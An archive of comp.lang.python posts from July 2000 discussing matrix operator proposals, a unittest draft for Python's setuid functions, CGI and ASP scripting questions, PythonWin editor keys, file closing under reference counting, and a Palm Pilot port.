~+ ~- ~* ~/ operators for math, and @name @identifier operators for
everything else?

The parser would have similar difficulty recognizing either form.  Only two
opcodes need to be added, one for ~op, another for @id, instead of one for
each of the new operators.  I do not know about the run time efficiency. But
since current + can be overloaded with operator.__add__, I would imagine
that in terms of efficiency, ~op can be made to be similar to existing
operators, while @id is similar to existing function calls.

Huaiyu


From etoffi at softhome.net  Sun Jul  2 03:33:12 2000
From: etoffi at softhome.net (etoffi)
Date: Sun, 02 Jul 2000 03:33:12 -0400
Subject: mailman stuff
Message-ID: <395EF038.D8CEBD92@softhome.net>

visiting this page will print out the same thing 3 times. just thought someone
would like to know

http://www.python.org/mailman/subscribe/python-list/



From gherman at darwin.in-berlin.de  Fri Jul 14 05:24:40 2000
From: gherman at darwin.in-berlin.de (Dinu C. Gherman)
Date: Fri, 14 Jul 2000 11:24:40 +0200
Subject: Test writing volunteers needed
References: <14700.44683.572283.391037@beluga.mojam.com> <slrn8mspe5.k6.amk@mira.erols.com>
Message-ID: <396EDC58.8A60673D@darwin.in-berlin.de>

"A.M. Kuchling" wrote:
> 
> Skip Montanaro <skip at mojam.com> wrote:
> >I'm look for a few people to write some regression tests for the posix (and
> >windows or mac equivalents), os and sys modules.  Some of that functionality
> 
> To start the ball rolling, here's a little test case for the set{re,e}{u,g}id
> functions that I added to the CVS version last night.

What about using the excellent Python unittest module 
(pyunit.sourceforge.net) to accomplish this, like in the 
code below? Note that I've not tested it on a Unix box and 
suppose the calls to some get* functions look in lines 
with trailing '# ??' do really look like shown...

Apart from these details, what unittest gives you is a 
very simple and useful test framework for *automated* test-
ing where you specify your test cases *with expected out-
put* such that you can build entire test suites to be run 
whenever you feel like you need a new short "confidence 
kick" before you continue with new functionality. Ideally, 
i.e. as an XP purist, you should write these tests *before* 
writing the *real code*!

Dinu

-- 
Dinu C. Gherman
................................................................
"The only possible values [for quality] are 'excellent' and 'in-
sanely excellent', depending on whether lives are at stake or 
not. Otherwise you don't enjoy your work, you don't work well, 
and the project goes down the drain." 
                    (Kent Beck, "Extreme Programming Explained")



import unittest


class SetXIDTestCase(unittest.TestCase):
    "Test if a single PDF Number is read and written correctly."
    
    def testSetreuidSetregid(self):
        "Simple test case for os.setreuid(), os.setregid()"
        
        import os, pwd

        uid = os.getuid()
        msg = "This test must be run as root; skipping"
        assert uid == 0, msg

        nobody_uid, nobody_gid = pwd.getpwnam('nobody')[2:4]

        # Set real uid and gid to root, effective uid and gid to nobody
        os.setreuid( 0, nobody_uid )
        os.setregid( 0, nobody_gid )

        # Change effective ID to nobody
        os.seteuid( nobody_uid )

        # Expect these to fail
        try:
            os.setuid( 1 )
        except os.error:
            pass
        else:
            msg = 'Should have been unable to change UID to 1'
            assert 1 == 0, msg

        try:
            os.setgid( 1 )
        except os.error:
            pass
        else:
            msg = 'Should have been unable to change GID to 1'
            assert 1 == 0, msg

        # These should succeed, since we're just swapping the IDs
        os.setreuid( nobody_uid, 0 )
        msg = 'Unable to swap IDs.'
        assert os.getreuid( nobody_uid ) == 0, msg # ??

        os.setregid( nobody_gid, 0 )
        msg = 'Unable to swap group IDs.'
        assert os.getregid( nobody_uid ) == 0, msg # ??

        # These should now succeed, since we're now back to root
privilege
        os.setgid( 1 )
        msg = 'Unable to reset group ID.'
        assert os.getgid() == 1, msg

        os.setuid( 1 )
        msg = 'Unable to reset user ID.'
        assert os.getuid() == 1, msg


def makeSuite():
    suite = unittest.TestSuite()
    suite.addTest(SetXIDTestCase('testSetreuidSetregid'))
    return suite


if __name__ == "__main__":
    unittest.TextTestRunner().run(makeSuite())


From aahz at netcom.com.bbs  Mon Jul 17 16:30:12 2000
From: aahz at netcom.com.bbs (aahz at netcom.com.bbs)
Date: 17 Jul 2000 20:30:12 GMT
Subject: newbie unimpressed...
Message-ID: <3bROPa$kmK@openbazaar.net>

[rearranged]

In article <8kvp81$9q1$1 at nnrp1.deja.com>,  <sharkey3 at my-deja.com> wrote:
>
>(I'm using python 1.5.1 on Redhat 5.2)

I strongly recommend upgrading to Python 1.5.2.  The documentation is
much better, for starters.

>I'm serious.  The documentation really sucks.
>Example:  where is the % operator documented for strings?

Look in Library Reference, Built-in Types, More String Operations
(section 2.1.5.1 in the 1.5.2 docs).
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From neilh at scintilla.org.bbs  Sun Jul 16 19:10:01 2000
From: neilh at scintilla.org.bbs (neilh at scintilla.org.bbs)
Date: 16 Jul 2000 23:10:01 GMT
Subject: "Intellisense" drop-down...
Message-ID: <3bQd9P$irn@openbazaar.net>

> I have found no way of defining new key combinations to select the
currently
> highlighted word in the "Intellisense" drop-down list.  For example:
> ...
> I hightlight "Apply" and the only key I can use to make "Apply" appear and
> the list to disappear is "Tab".  I want other keys to trigger this.  The
> default.cfg file only lists this:

   When the previous post appeared about Ctrl+Enter in auto-completion, I
had a look at extending the keys that would choose an item and tried
changing this in Scintilla. This worked in other applications but not in
PythonWin as PythonWin intercepts keys before sending them on to Scintilla.
Then I went looking through PythonWin but the code was confusing so I gave
up.

    If you are interested in working on this, the Enter key calls
newline_and_indent_event in pywin\idle\AutoIndent.py. So you could intercept
it here or else bind Enter to your own event that calls the current
newline_and_indent_event only when no autocompletion is shown.

   Neil


From bojar at speakeasy.org  Sun Jul  2 16:08:02 2000
From: bojar at speakeasy.org (E. Jordan Bojar)
Date: Sun, 02 Jul 2000 16:08:02 -0400
Subject: Python CGI security
Message-ID: <B5851962.5E%bojar@speakeasy.org>

I'm interested in running a series of Python scripts via the Apache Python
module, mostly for dynamic content but possibly for password protection as
well.  Are there security issues particular to (or common with) Python CGIs,
in the way that buffer overflow is so common to poorly-written Perl?

-- 

E. Jordan Bojar




From alex at magenta.com  Fri Jul 28 11:57:07 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 17:57:07 +0200
Subject: Beginning
References: <8loacq$n81$1@nnrp1.deja.com> <397FB2B5.8FE38267@sitegnome.com> <8lqqmp$jdd$1@nnrp1.deja.com>
Message-ID: <8lsaoa01g3p@news2.newsguy.com>

"Alex" <medved55 at my-deja.com> wrote in message
news:8lqqmp$jdd$1 at nnrp1.deja.com...
> Thanks, Fiona!
>
> I find a lot of interesting stuff on that side.
> What OS do you use for programming on Python.
> Is anybody doing this in Windows9x, and does it work.

I currently use Windows NT 4 SP6, and Windows/98,
exclusively (one of these days I'm going to reinstall
Linux somewhere, but it's been a while since I last did).

Python works beautifully -- much better than most other
tools work in those environments.  I'm particularly
addicted to Hammond's PythonWin, win32com, and
all the other win32 extensions (though I don't use them
for GUI's -- those I find easier to hack together by other
means, such as dynamic HTML, VB, etc; if I did have to
do GUI's in Python, I think I'd choose wxPython -- I've had
far too much Tcl/Tk in my Tcl and Perl days to feel any
desire whatsoever to go back to it:-).


Alex





From cg at schlund.de  Fri Jul 28 08:21:39 2000
From: cg at schlund.de (Carsten Gaebler)
Date: Fri, 28 Jul 2000 14:21:39 +0200
Subject: [Draft] Open Letter to CNRI: Request for clarification
References: <39816303.C808D05A@nowonder.de> <39816367.9D7532D7@nowonder.de>
Message-ID: <39817AD3.E3E540E0@schlund.de>

Peter Schneider-Kamp wrote:

> --- begin not-so-serious draft
> -----------------------------------------------
[...]
>   We will create our own version of Python. May it be more free and
> succesful
> than the one you have made before.
> 
>                                                             Trondheim,
> Norway
> July 28, 2000
>                                                      Jan Peter
> Schneider-Kamp
> 
> --- end not-so-serious draft
> -------------------------------------------------

Perhaps we should add:

You will be assimilated.
Resistance is futile!
:-)


Carsten.


From olivierS.dagenaisP at canadaA.comM  Wed Jul  5 22:05:51 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Thu, 06 Jul 2000 02:05:51 GMT
Subject: Hello Word in CGI
References: <3963C29E.76211EB7@bioeng.ucsd.edu>
Message-ID: <3QR85.42743$W35.928737@news20.bellglobal.com>

> print "<P>This is San Diego.<br>Localtime is", ctime( time() ) + ".<P>"

Are you sure you can concatenate a string to a time?

Also,

> print "Content-type: text/html"
> print

There's something peculiar about this part.  You need an EXACT number of
linefeeds, otherwise nothing works.  I can't remember if it's one or two,
though...

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Curtis Jensen" <cjensen at bioeng.ucsd.edu> wrote in message
news:3963C29E.76211EB7 at bioeng.ucsd.edu...
> We get this error in our server log:
> Wed Jul  5 16:12:52 2000] [error] [client 132.239.236.47] Premature end
> of script headers:
> /usr/local/httpd/cgi-bin/test_jmsun/cont_forms/helloworld.py
>
>
> The browser gives us this error:
> Internal Server Error
>
> The server encountered an internal error or misconfiguration and was
> unable to complete your request.
>
> Please contact the server administrator, webmaster at bioeng.ucsd.edu and
> inform them of the time the error occurred, and
> anything you might have done that may have caused the error.
>
> More information about this error may be available in the server error
> log.
>
>
> Apache/1.3.6 Server at cmrg.ucsd.edu Port 80
>
>
>
> Using this script from:
> http://www.ping.be/sabine-appelmans/home/python/index.html
>
> #!/usr/local/Python/bin/python
> #
> # helloworld.py
> #
>
> from time import *
>
> print "Content-type: text/html"
> print
>
> print "<HTML>"
>
> print "<Head>"
> print "<Title>Hello World</Title>"
> print "</Head>"
>
> print "<Body>"
> print "<H1>Hello World !</H1>"
> print "<hr>"
>
> print "<P>This is San Diego.<br>Localtime is", ctime( time() ) + ".<P>"
>
> print "</Body>"
> print "</HTML>"
>
>
>
> Any ideas why?
>
> --
> Curtis Jensen
> cjensen at bioeng.ucsd.edu
> http://www-bioeng.ucsd.edu/~cjensen/
> FAX (425) 740-1451




From paul at prescod.net  Fri Jul 14 09:43:48 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 14 Jul 2000 08:43:48 -0500
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <qsusmscak89fbrddm2b7mlej4vrjq4nadl@4ax.com> <396EDE0B.5F9075B6@fft.be>
Message-ID: <396F1914.DBE530CA@prescod.net>

Gregory Lielens wrote:
> 
> ...
>
> I personnaly consider that linear algebra is an extension of simple
> arithmetic, almost on the same level as complex numbers (and usefull to
> the same kind of people which could use complex numbers).
> The fact that complex numbers are part of built-in python types and can
> be manipulated using standard arithmetic operators plead for a similar
> facility for linear algebra, imho.

That situation was entirely different. Complex numbers required very
little syntax and the object is built into Python. You are asking for a
lot of syntax but not proposing that your module go into Python. In
other words it is a lot of syntax that doesn't get used until you
install a third party module.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From bdupire at seatech.fau.edu  Mon Jul 17 01:24:50 2000
From: bdupire at seatech.fau.edu (Benoit Dupire)
Date: Mon, 17 Jul 2000 01:24:50 -0400
Subject: PyArg_NoArgs / PyArg_Parse API
References: <3967AA04.6E5073BB@seatech.fau.edu>
Message-ID: <397298A2.512C7FF4@seatech.fau.edu>


Benoit Dupire wrote:

> PyArgs_NoArg(args) is an API function, used in timemodule.c and not
> referenced in the documentation..
>
> Actually, it's defined as a macro in Python.h
> and is equivalent to PyArg_Parse(args,"")
>
> I didn't see Py_ArgParse in the doc either!

OK I finally find out the answer. Thanks Mark, for your "programming Python"
book!
PyArg_Parse:
takes an object, a format string, and C targets. (like PyArg_ParseTuple)
But PyArg_Parse doesn't expect the Python object to be a tuple. We need to
supply () pairs in the format string to extract parts of returned tuples.

PyArg_Parse is also backward compatible with an older conversion variant
(getargs)
If the third column in a module's name/function  registration table is zero
(or absent), Python passes argument lists using old-style getargs
conventions : the argument list might not be a tuple, so PyArg_Parse is used
to extract values.
But normally the third column in a module's name/function registration task
should be 1, and PyArg_ParseTuple should be used for argument list
conversions

Benoit! :-)



From timaratz at lisco.com  Fri Jul 14 16:03:26 2000
From: timaratz at lisco.com (Peter Timaratz)
Date: Fri, 14 Jul 2000 15:03:26 -0500
Subject: Why make a language case sensitive?
In-Reply-To: <396f5aeb@news.xtml.co.uk>
Message-ID: <000b01bfedce$927a55c0$6cb745c6@timaratz>

Well, then they could have made it a lower case language. :)

> -----Original Message-----
> From: python-list-admin at python.org
> [mailto:python-list-admin at python.org]On Behalf Of Nick
> Sent: Friday, July 14, 2000 1:23 PM
> To: python-list at python.org
> Subject: Re: Why make a language case sensitive?
>
>
> I imagine with Python it comes back to the readability argument which is a
> strongly held belief in the design. And lower case is more readable :-)
>
> "Peter Timaratz" <timaratz at lisco.com> wrote in message
> news:000801bfeda1$fcd99a20$6cb745c6 at timaratz...
> > I can't think of any advantages to a case sensitive language.
> Python is a
> > very well-designed language though, so I imagine there is a
> good reason that
> > it is case sensitive. So what are the advantages of a case sensitive
> > language?
> >
> >
>
>
> --
> http://www.python.org/mailman/listinfo/python-list
>




From ge at nowhere.none  Sat Jul 22 17:39:52 2000
From: ge at nowhere.none (Grant Edwards)
Date: Sat, 22 Jul 2000 21:39:52 GMT
Subject: Newbie pythoner, with bizzare problem
References: <66BC56277B82FC67.B3EED2DD79D7AFED.2311A1AB38DBA14A@lp.airnews.net> <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk> <8lcef2$fbn$0@216.39.151.169>
Message-ID: <Iwoe5.2117$6E.473197@ptah.visi.com>

In article <8lcef2$fbn$0 at 216.39.151.169>, Donn Cave wrote:
>
>| You're also right that
>|   from os import *
>| is, of course, universally deprecated.
>
>So where do so many new programmers learn to do this? This is a
>serious question.  Is there some tutorial out there that leads
>them astray?

I've run across numerous examples in module documentation where
"from foobar import *" is used (e.g. the socket module examples).

This might lead a new programmer to use the same idiom with
other modules.  

"from foobar import *" makes example code look cleaner, but I
think it might promote bad habits.

-- 
Grant Edwards                   grante             Yow!  My LESLIE GORE record
                                  at               is BROKEN...
                               visi.com            


From paul at prescod.net  Thu Jul 20 10:30:31 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 20 Jul 2000 09:30:31 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  
 matrix computation)
References: <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com> <3973A347.3ABCB12F@prescod.net> <ilq8nss3pc0luvogh4kdh1pdlrnu7614df@4ax.com> <slrn8n9i9j.so.hzhu@rock.localdomain> <gd1dnss55j4dl14n3tfpl96o6mb8dq12gl@4ax.com> <3976A167.FCB7EFE3@prescod.net> <c6tdns0cm91ab106alvmrtj0974f9c70d3@4ax.com>
Message-ID: <39770D07.6BA95583@prescod.net>

John Lull wrote:
> 
> ...
>
> It has no advantage on a simple expression like this, assuming a and b
> provide newOp() and otherOp() respectively.  The advantage only shows
> up on complex expressions, where the functional notation can make it
> much more difficult to read, or in a case where b.__otherOp__()
> provides __rnewOp__().

Well, if there is any possibility of a name-based system "winning" then
I am strongly in favor of it. You could make it a little shorter by
using ~ instead of ..

~elMul~
~matMul~
~newfunc~

I think that that would be very extensible and reasonably readable. If
the word in the middle could be a re-assignable name then you could say:

eM=elMul

a ~eM~ b

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From hinsen at cnrs-orleans.fr  Fri Jul 21 04:31:36 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 21 Jul 2000 10:31:36 +0200
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <20000720124305.A1220@xyz.donetsk.ua> <slrn8ndk9n.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl> <slrn8nemu7.fs6.cjc26@synecdoche.sowrong.org>
Message-ID: <m34s5j995j.fsf@chinon.cnrs-orleans.fr>

cjc26 at nospam.cornell.edu (Cliff Crawford) writes:

> * Remco Gerlich <scarblac-spamtrap at pino.selwerd.nl> menulis:
> | > 
> | > The easiest way:
> | > 
> | > for line in file.readlines():
> | >     block
> | 
> | But that would read the whole thing into memory, and he doesn't want that.

ScientificPython has a special class for text files which allows this:

  for line in TextFile('foo'):
     ...

It also permits the transparent handling of compressed files and URLs
(for reading only) and, under Unix, expands home directory names
(~user). I use this about everywhere where I read data from a text
file; it's nice to be able to use the most general file name notations
everywhere without much effort.

For those who don't want to install a complete package just for this
minor module: you can use it on its own perfectly well, just put the
file Scienticic/IO/TextFile.py somewhere on your PYTHONPATH.
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From osuchw at ecn.ab.ca.nospam  Fri Jul 14 03:10:46 2000
From: osuchw at ecn.ab.ca.nospam (WaldekO)
Date: Fri, 14 Jul 2000 01:10:46 -0600
Subject: ASP Questions
References: <8kk616$5ck$1@plutonium.compulink.co.uk>
Message-ID: <_1zb5.197$2q4.10371@jekyl.ab.tac.net>

<gbreed at cix.compulink.co.uk> wrote in message
news:8kk616$5ck$1 at plutonium.compulink.co.uk...
> Here are some outstanding problems I have with ASP files written in
> Python.  Hopefully, some of you will have solutions.
>
> I can't write to session or application variables.  In VBScript, this is
> done like Session("key")="value".  In Python, for writing to a new key,
> that translates to assignment to None.  I found some documentation for
> fixing this in P*rlScr*pt, but still can't get it to work in Python.

The following syntax works for me but do not ask me why :-)

8<--------------------------------------------------------------------------
--------------
<%@language= "Python"%>

<html>
<head>

<%
domain= 'coentapps'
rw= Response.Write

if Session.Contents('db_conn'):
 conn= Session.Contents('db_conn')
 rw('exists<br>')
else:
 conn= Server.CreateObject("ADODB.Connection")
 conn.Open("servinfo")
 Session.Contents['db_conn']= conn
 rw('new<br>')

Session.Timeout= 5
rw(Session.SessionID)


sql = '''
  SELECT strServer, lngMemory
  FROM tblServerInfo
  WHERE strDomain= '%s'
  ''' %(domain)

rs = conn.Execute(sql)
srv, mem = rs.GetRows()
rs.Close()

out=''
for i in srv:
 out= out + '<br>' + str(i)
%>
</head>
<body>
<%=out%>
</body>
</html>
8<------------------------------------------------------------------------

waldemar




From matt at null.net  Mon Jul 10 23:47:59 2000
From: matt at null.net (Matthew Schinckel)
Date: Tue, 11 Jul 2000 13:17:59 +0930
Subject: including files
In-Reply-To: <9yna5.229$iT2.4602@m2newsread.uni2.es>
References: <9yna5.229$iT2.4602@m2newsread.uni2.es>
Message-ID: <Pine.BOS.4.10.10007111316040.1715-100000@be>

On Jul 10, I overheard Fernando Rodr?guez mutter:

> Hi!
> 
>     What's teh Python's equivalent for C's #include "myfile.h"? O:-)
> 

Depends.  Usually 
>>> import myfile
or
>>> from myfile import *

But, if you have a file with commands that you need executed in the
current namespace (say, like some generated code do build a GUI menu :-)
then you might want to look at:

>>> execfile('myfile')

-- 
Matthew Schinckel     <matt at null.net>

What I tell you three times is true.



From sash at eurocom.od.ua  Tue Jul 25 04:29:42 2000
From: sash at eurocom.od.ua (Alexander V. Goncharuk)
Date: Tue, 25 Jul 2000 11:29:42 +0300
Subject: Python 1.4 + IBM  patch  on MVS
Message-ID: <8ljj9n$v3r$1@DCS.eurocom.od.ua>

Hello all,
I tried to build python 1.4 + IBM patch on MVS but ... when I try to start
python I receive "segmentation fault"
I applied patch from IBM w/o problem, compiled and linked w/o problem, but
python doesn't run.
Did anybody try to build and run python on MVS ?
Probably It's necessary to specify  any additional options on  the configure
stage ?

Will be very obliged for any suggestion about this problem.

regards,
    Alexander





From pinard at iro.umontreal.ca  Mon Jul 31 20:08:59 2000
From: pinard at iro.umontreal.ca (=?ISO-8859-1?Q?Fran=E7ois_Pinard?=)
Date: 31 Jul 2000 20:08:59 -0400
Subject: to close or not to close?
In-Reply-To: Thomas Wouters's message of "Tue, 1 Aug 2000 01:05:33 +0200"
References: <8m4s6i$2sdk@drn.newsguy.com> <20000801010533.P266@xs4all.nl>
Message-ID: <oq7la1u9k4.fsf@titan.progiciels-bpi.ca>

[Thomas Wouters]

> On Mon, Jul 31, 2000 at 02:48:02PM -0700, Grant Griffin wrote:

> > Forgive me if this is a FAQ, but is it considered good Python form to
> > close a file whose variable is just about to go out of scope (and thus
> > be automatically closed)?  Or should one just omit that?

I came to consider it is a better form to _not_ close explicitely.  Cases
where explicit close is really useful are rather unusual, in my experience.
In which cases, an explicit `close' gets more meaningful, and less noisy.
And even then, I much prefer `file = None' than `close(file)', because the
former really represents my intent: I promise I will not use `file' anymore.
I like to think that closing a file is a system concern, not a user concern.

> In current CPython it won't cause any problem to omit the close as long as
> you are certain the vrbl will go out of scope, but JPython and possibly
> other implementations of Python use true garbage collection (GC) rather
> than reference counting (RC).

This is true, and this is partly why I consider that CPython allows for
less cluttered coding in such areas.  I'm well prepared to revise my code
if I ever need to use JPython.  But until I do, I prefer clean and clear.

> for x in [:256]: # or range(256) if you don't run experimental patches
> 	open("tempfile.%d"%x)

> Will work just fine in CPython, having open at most 2 'tempfiles' at once
> (in an interactive session, that is, otherwise it has just 1 open.)

I do not understand how we could have two.  Since the result of `open'
is not saved, I presume the file will be closed immediately after being
opened, before executing the next instruction, or the next iteration.

> But the same script under JPython, or a possible future CPython with true
> GC, will run out of filedescriptors (or more likely: the max number of
> open files) before the next GC run.

On this list, I got a kind of guarantee that future CPython will stick
with reference counting, possibly _complemented_ by more traditional mark
and sweep.  So, any current clean code will continue to work.

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From olivierS.dagenaisP at canadaA.comM.bbs  Sun Jul 16 23:50:03 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 17 Jul 2000 03:50:03 GMT
Subject: "Intellisense" drop-down...
Message-ID: <3bQkNR$jG0@openbazaar.net>

Doh! I didn't know that thing also worked in the interactive window, so I
didn't test it there... <g>

It might be nice if Tab wasn't hardwired to do this and we could pass a
parameter to an event to tell it what to call if the AutoComplete box isn't
opened, like so:

Tab = AutoCompleteOrDo ( IndentSelection )
Space = AutoCompleteOrDo ( AddSpace )
Ctrl+Space = AutoCompleteOrDo ( <<expand-word>> )
etc..etc...

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Neil Hodgson" <neilh at scintilla.org> wrote in message
news:iwsc5.3597$4p3.27442 at news-server.bigpond.net.au...
> > Here it is, folks, the ability to use another key than TAB to select a
> word
> > in the AutoComplete list:
>
>    I like it - good to see someone new improving PythonWin.
>
>    A small problem with Ctrl+Enter is that it works in the editor but not
> the interactive window.
>
>    Neil
>
>
>


From kbang at smartchat.net.au  Sat Jul  8 01:45:41 2000
From: kbang at smartchat.net.au (KB Ang)
Date: Sat, 08 Jul 2000 15:45:41 +1000
Subject: [ANN] Python port to Palm Pilot
References: <200007070140.SAA31035@wd264.aero.org>
Message-ID: <3966C005.5EF656C6@smartchat.net.au>

Hi there all,
Just a cautionary note.
I have Palm OS 3.3 running on a Palm V.
I installed pylib and python.prc on it.

It crashed my Palm ie needed to do a "hard" reset.
A soft one did nothing so suggest that
u back up before trying anything.

Chai


collins at rush.aero.org wrote:
> 
> Announcing the alpha port of Python-1.5.2+ to the Palm Pilot,
> available for download after 8AM PDT July7, 2000 at
> http://www.isr.uci.edu/projects/sensos/python/.  This release includes
> the modified Python source and tools for creating Palm applications
> from Python modules.  As a convenience, we include the gnu toolchain
> required to support the Python distribution on the Palm Pilot.
> We emphasize that this is an alpha release and is deficient in many
> respects.  We are releasing it now to stimulate interest in Python on
> small computing platforms.
> 
> Enjoy!

-- 
+-------
| mailto:calcium at ozemail.com.au +6141 321 9866 +613 9889 0883 (tel/fax)
| Ob saying - Software is hard - me!



From jkraska1 at san.rr.com.bbs  Mon Jul 17 01:20:02 2000
From: jkraska1 at san.rr.com.bbs (jkraska1 at san.rr.com.bbs)
Date: 17 Jul 2000 05:20:02 GMT
Subject: Wishlist sumbission form?
Message-ID: <3bR0e3$jDj@openbazaar.net>

Olivier Dagenais wrote:
>
> In the future, everyone will be a programmer and will be able to implement
> their own ideas quickly.  That, or when they start realizing that all of
> humankind have become geeks, they'll just get rid of all computers and we'll
> go back to grunting and hunting for food.

Grunting and hunting for food is overrated. The grubs may be
sweet, but the digging for them is a real drag.



C/


From aahz at netcom.com  Fri Jul 14 18:51:51 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 14 Jul 2000 22:51:51 GMT
Subject: html link parser?
References: <j%Lb5.5560$tI4.377238@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <8ko5i7$i1r$1@nntp9.atl.mindspring.net>

In article <j%Lb5.5560$tI4.377238 at bgtnsc05-news.ops.worldnet.att.net>,
Paul Johnston <johnston.p at worldnet.att.net> wrote:
>
>I'm looking to parse the links out of an html document.  Is there a module
>analogous to Html::LinkExtor (perl)?

Use htmllib.  When you parse a document, the links are available as a
list called parser.anchorlist.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

"Let's go home and turn on MTV.  I want to watch some Pop-Up Videos."
"Pop-Up Videos is not on MTV, it's on VH-1."
"'MTV' is a generic."


From hzhu at localhost.localdomain  Mon Jul 17 21:00:28 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 01:00:28 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735193.C8A6C311@prescod.net> <slrn8n6m1n.qp.hzhu@rocket.knowledgetrack.com> <8kvocr$5mq$1@eeyore.INS.CWRU.Edu> <8F74C4E37gmcmhypernetcom@199.171.54.155>
Message-ID: <slrn8n7b88.2jc.hzhu@rocket.knowledgetrack.com>

On 17 Jul 2000 23:19:16 GMT, Gordon McMillan <gmcm at hypernet.com> wrote:

>I proposed something very similar to Huaiyu the other day:
>
>  PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
>
>I know Thomas Wouters did, too. I haven't seen a post reflecting these 
>suggestions.

Good point. So let me say why I do not like this.  (Doesn't mean it has to
die.)  :-)

In a program where there are a lot of computations, you'll get either
something like a ritual on every line,

PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)

for what could be

(A .* B)\C
(A .* B)\C
(A .* B)\C

or you get 

PyAlgebra.evaluate(r'(A .* B)\C
                     (A .* B)\C
                     (A .* B)\C', A=A, B=B, C=C)

Everybody would rush for the latter.  In the end what's inside the quote
would be a minilanguage with all the bells and wistles of python.  This
would be just similar to patching the parser, with lesser results.

>In fact, looking at this thread in one of those tree-view newsreaders, it 
>becomes obvious that branches die when a proposal is made, but arguments 
>are met with vehement counter arguments. Which leads me to believe that:
>
>>Silly idea 3:
>>
>>  Lets continue arguing until everyone, both pro and con, gets
>>  irritated, 
>>starts calling each other Nazis and gives up.
>
>...has already won.

You got it.  I'm making a resolution of not going down that road from now on.

Huaiyu



From sdm7g at elvis.med.Virginia.EDU  Fri Jul 28 15:25:32 2000
From: sdm7g at elvis.med.Virginia.EDU (Steven D. Majewski)
Date: 28 Jul 2000 19:25:32 GMT
Subject: Python in game development [fwd: best prog lang for games]
References: <8lkrna$5as$1@nnrp1.deja.com> <uoenl8.nip.ln@206.180.155.28> <u66pq2yl8.fsf@yod.cs.uni-magdeburg.de>
Message-ID: <8lsmnc$6be$1@murdoch.acc.Virginia.EDU>

Forwarded from comp.lang.misc FYI.

The article mentions Lisp, Haskell, ML, OCaml, and some others --
not Python, however the article is relevant to the discussion 
here -- the advantages of mixing low level C code (for the graphics
engine, etc.) with a higher-level language to describe higher level
stuff. 

BTW: According to the article, Crash Bandicoot games are written in 
a "lisp-like language". 


-- Steve M. 


In article <u66pq2yl8.fsf at yod.cs.uni-magdeburg.de>,
Jochen Schneider  <josch at isg.cs.uni-magdeburg.de> wrote:
>Jonathan Guthrie <jguthrie at brokersys.com> writes:
>
>> Your question is too broad.  Techniques and languages differ whether
>> you're in it for the money (and are, therefore, almost certainly
>> programming for one game console or another) or to prove a point. 
>> ("Abuse" was written in Lisp, to show that you could code an action
>> game in Lisp and because the coders liked programming in Lisp.)
>
>There is an interesting article on alternative programming languages
>for games on Gamasutra
>(http://www.gamasutra.com/features/19990813/languages_01.htm). The
>whole Gamasutra site seems to be a must for game programmers.
>






From joneshenry at my-deja.com  Mon Jul 31 03:03:38 2000
From: joneshenry at my-deja.com (joneshenry at my-deja.com)
Date: Mon, 31 Jul 2000 07:03:38 GMT
Subject: Python, Perl Rewrites: Alliance?
Message-ID: <8m38ca$an5$1@nnrp1.deja.com>

My reading of Guido van Rossum's postings seems to be saying that
it isn't clear whether CNRI, the owner of the copyright of Python
produced while Guido was at CNRI, considers the "license" of
say Python 1.5.2 to be legally valid.

